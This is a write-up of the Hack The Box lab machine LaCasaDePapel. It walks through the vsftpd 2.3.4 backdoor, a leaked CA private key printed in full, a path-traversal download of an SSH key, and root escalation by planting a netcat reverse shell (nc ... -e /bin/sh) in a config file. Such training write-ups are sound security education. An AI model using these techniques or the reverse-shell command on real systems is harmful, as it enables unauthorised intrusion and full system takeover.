Htb Lacasadepapel
by jake
This week we are taking a look at the retired Hack The Box machine LaCasaDePapel (Easy-Medium difficulty)
Starting off with out nmap enumeration:
root@kali: nmap -sC -sV -oN nmap 10.10.10.131
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-23 11:30 AEST
Nmap scan report for 10.10.10.131
Host is up (0.24s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
| 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp open http Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open ssl/http Node.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after: 2029-01-24T08:35:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
| http/1.1
|_ http/1.0
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.00 seconds
So it looks like we have a couple of interesting starting points… FTP and a Node.js Express website on both 80 and 443.
Starting with FTP we try to connect anonymously to see what happens:
root@kali: ftp 10.10.10.131
Connected to 10.10.10.131.
220 (vsFTPd 2.3.4)
Name (10.10.10.131:root): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp>
Damn. No anonymous access, but we don’t usually get such a detailed banner. So we head on over to searchsploit to see if there are any exploits:
root@kali: searchsploit vsftpd
---------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------------------------- ----------------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | exploits/linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | exploits/windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | exploits/windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | exploits/unix/remote/17491.rb
---------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
2.3.4 is our target and we can see that there is a metasploit module for a backdoor command execution vulnerability. Reading through the metasploit module we see that a backdoor was introduced to this version and can be quite easily exploited: https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
Looking at the pastebin link included in the above article we see on lines 37 and 38 that if something ends with the characters 0x3a
followed by 0x29
then the function vsf_sysutil_extra()
is called. Down on line 76 this function appears to open a /bin/sh
reverse shell on port 6200. These two characters translate into a smiley face :)
So we go back to ftp and this time add a smiley face to the end of both our username and password and see what happens.
We see that when we enter the password :) it appears to hang, but if we go to a new terminal window and connect on port 6200 we get a shell!
root@kali: telnet 10.10.10.131 6200
Trying 10.10.10.131...
Connected to 10.10.10.131.
Escape character is '^]'.
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
We try to figure out who we are with the whoami command, but it looks like we are not in a /bin/sh shell after all:
whoami
PHP Warning: Use of undefined constant whoami - assumed 'whoami' (this will throw an Error in a future version of PHP) in phar://eval()'d code on line 1
Researching what Psy Shell is we find that it is an interactive PHP shell intended to be used by developers. Reading the usage documentation on the github page ( ) we see that there should be a help command that might show us what we can do.
help
help Show a list of commands. Type `help [foo]` for information about [foo]. Aliases: ?
ls List local, instance or class variables, methods and constants. Aliases: list, dir
dump Dump an object or primitive.
doc Read the documentation for an object, class, constant, method or property. Aliases: rtfm, man
show Show the code for an object, class, constant, method or property.
wtf Show the backtrace of the most recent exception. Aliases: last-exception, wtf?
whereami Show where you are in the code.
throw-up Throw an exception or error out of the Psy Shell.
timeit Profiles with a timer.
trace Show the current call stack.
buffer Show (or clear) the contents of the code input buffer. Aliases: buf
clear Clear the Psy Shell screen.
edit Open an external editor. Afterwards, get produced code in input buffer.
sudo Evaluate PHP code, bypassing visibility restrictions.
history Show the Psy Shell history. Aliases: hist
exit End the current session and return to caller. Aliases: quit, q
sudo immediately stands out, but unfortunately it does not work:
sudo $thoseguys = file_get_contents("/root/root.txt");
PHP Warning: file_get_contents(/root/root.txt): failed to open stream: Permission denied in phar://eval()'d code on line 1
It doesn’t look like history works either. Trying ls does return something though:
ls
Variables: $tokyo
Help tells us that we can use the show command to see what the value of that variable is:
show tokyo
> 2| class Tokyo {
3| private function sign($caCert,$userCsr) {
4| $caKey = file_get_contents('/home/nairobi/ca.key');
5| $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
6| openssl_x509_export($userCert, $userCertOut);
7| return $userCertOut;
8| }
9| }
Looks like it is pulling a ca key and generating a certificate for something. Lets use this opportunity to pull that key down.
file_get_contents('/home/nairobi/ca.key');
=> """
-----BEGIN PRIVATE KEY-----\n
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb\n
7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/\n
2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl\n
uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M\n
YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp\n
s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us\n
PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V\n
Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89\n
1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ\n
/CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+\n
q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr\n
uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd\n
I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og\n
7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE\n
G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn\n
sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH\n
CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y\n
sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI\n
ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2\n
zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/\n
ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC\n
9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M\n
WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM\n
7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR\n
aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc\n
53udBEzjt3WPqYGkkDknVhjD\n
-----END PRIVATE KEY-----\n
"""
Cleaning up the new line characters we have something that might come in handy later.
continuing our enumeration we can use some PHP functions to enumerate the file system, such as file_get_contents we have already used and scandir which works similar to bash ls
scandir('/home')
=> [
".",
"..",
"berlin",
"dali",
"nairobi",
"oslo",
"professor",
]
scandir('/home/berlin')
=> [
".",
"..",
".ash_history",
".ssh",
"downloads",
"node_modules",
"server.js",
"user.txt",
]
file_get_contents('/home/berlin/user.txt')
PHP Warning: file_get_contents(/home/berlin/user.txt): failed to open stream: Permission denied in phar://eval()'d code on line 1
Looks like berlin is who we want to become to get the user.txt flag, and chance are from looking at their home directory that they are the user running the nodejs express application. We look through all the other user directories and cannot access any other files or directories of interest.
Finally it’s time to look at the website:
We have a QR code that looks like it is a Google Authenticator code
When we look at the source ode we see a hidden field with a secret in it..
The code for the QR code says that the algorithm is SHA1 and if we navigate to the QR code directly we can see that changing the value of the hash will also change the QR code returned.
Heading over to see if the 443 site is different we do get a hint:
Looks like that ca.key will come in handy after all. Time to generate our own client certificate signed by the ca.key.
Firefox can only import PKCS12 certs, so we use openssl to generate one.
root@kali: openssl req -new -x509 -days 365 -key ca.key -out thoseguys.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
Then export the certificate as PKCS12 for Firefox.
root@kali: openssl pkcs12 -export -out thoseguys.p12 -in thoseguys.pem -inkey ca.key
Enter Export Password:
Verifying - Enter Export Password:
Now we can head on over to Firefox and under Preferences > Certificates > Import we select our p12 file and import it. Because we added an exception to the site the first time we tried to access it over HTTPS we need to remove that exception now, as we have a trusted certificate imported.
We then get a prompt to identify ourselves using a certificate, clicking OK gets us into the site.
Looks like we get a private site with some tv show seasons to select from. Selecting any season brings us to a page with some avi files that can be downloaded. Looking at the URLS we see that for the season list we have https://10.10.10.131/?path=SEASON-1
and for a file we have something like https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp
The path qouery parameter is suspicious as is the part after the file/. Starting with the path we can see that we do have a query manipulation vulnerability that leads to directory traversal.
But this will not let us access the contents of a file. We see that the path variable is used in the same scandir()
function we were using earlier:
Time to look at the file. As we commonly see with CTFs and web applications a lot of the time text is encoded with base64 to ensure that the message is not misinterpreted weirdly if it has any special characters. To confirm this we run a basic test:
root@kali: echo -n 'U0VBU09OLTEvMDEuYXZp' | base64 -d
SEASON-1/01.avi
That is exactly what we were hoping for. the file path is being base64 encoded. We know where the user.txt is so lets see if we can read it.
root@kali: echo -n '../user.txt' | base64
Li4vdXNlci50eHQ=
add that to the URL and see if we are prompted to download the user.txt file:
Nice! But we need a better way into the box. Using our directory traversal exploit we see in the ../.ssh directory that we no only have an authorized_keys file, but also have the private and public keys. Time to download the private key and ssh in as the berlin user.
root@kali: echo -n '../.ssh/id_rsa' | base64
Li4vLnNzaC9pZF9yc2E=
[Go to firefox and download the file]
root@kali: chmod 600 id_rsa
root@kali: ssh -i id_rsa berlin@10.10.10.131
berlin@10.10.10.131's password:
Hmmm… looks like it might not be the berlin users ssh key, so we try them all and eventually get in with the professor user.
root@kali: ssh -i id_rsa professor@10.10.10.131
_ ____ ____ ____ _
| | __ _ / ___|__ _ ___ __ _ | _ \ ___ | _ \ __ _ _ __ ___| |
| | / _` | | | / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| | __/ | __/ (_| | |_) | __/ |
|_____\__,_| \____\__,_|___/\__,_| |____/ \___| |_| \__,_| .__/ \___|_|
|_|
lacasadepapel [~]$
We see in the professors home folder that there is some memcached files:
lacasadepapel [~]$ ls -la
total 24
drwxr-sr-x 4 professo professo 4096 Mar 6 20:56 .
drwxr-xr-x 7 root root 4096 Feb 16 18:06 ..
lrwxrwxrwx 1 root professo 9 Nov 6 2018 .ash_history -> /dev/null
drwx------ 2 professo professo 4096 Jan 31 21:36 .ssh
-rw-r--r-- 1 root root 88 Jan 29 01:25 memcached.ini
-rw-r----- 1 root nobody 434 Jan 29 01:24 memcached.js
drwxr-sr-x 9 root professo 4096 Jan 29 01:31 node_modules
lacasadepapel [~]$
and ps confirms that it is running and netstat suggests it could be listening on 127.0.0.1:11211
. sudo -l
gives us nothing as we need the professors password. but the memcache.ini file gives us something to look at:
lacasadepapel [~]$ cat memcached.ini
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
It looks like whatever is in the command variable is executed as a bash command as root. We cannot edit the file directly, but this is our users home directory.. so we have full permissions to delete and create a new one.
Figuring out what reverse shell might be the easiest we can see that the machine has nc installed and testing a reverse shell with the professor user we can see what we are able to get a shell as professor with the -e flag, so we should be able to translate that into the file to have it run as root.
lacasadepapel [~]$ rm memcached.ini
lacasadepapel [~]$ echo '[program:memcached]
command = /usr/bin/nc 10.10.14.14 1337 -e /bin/sh' > memcached.ini
Set up a nc listener on port 1337 and wait for the cron to run. Eventually we get a reverse shell as root.
root@kali: nc -nlvp 1337
Listening on [0.0.0.0] (family 2, port 1337)
Connection from 10.10.10.131 38785 received!
whoami
root
cat /root/root.txt
58[REDACTED]11